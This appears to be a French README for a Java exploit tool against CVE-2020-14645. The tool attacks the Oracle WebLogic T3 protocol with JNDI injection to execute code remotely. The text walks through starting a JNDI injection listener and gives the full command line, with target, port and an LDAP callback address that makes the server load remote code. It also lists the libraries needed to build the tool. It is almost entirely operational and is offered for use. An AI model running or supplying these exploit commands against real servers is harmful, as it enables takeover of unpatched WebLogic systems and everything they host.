
Exploit basé sur Java pour CVE-2020-14645 ciblant le protocole T3 d'Oracle WebLogic avec injection JNDI pour l'exécution de code à distance.
Commencez par utiliser NDI-Injection-Exploit pour écouter, puis générez une adresse ldap.
java -jar WeblogicT3.jar -Target 127.0.0.1 -Port [7001] -RMI ldap://127.0.0.1:1389/dozvtq [--SSL]
-Tatget et -RMI sont obligatoires, pour https vous pouvez utiliser le paramètre --SSL, -Port est défini par défaut sur 7001. Pour compiler vous-même, vous devez ajouter coherence.jar et wlfullclient.jar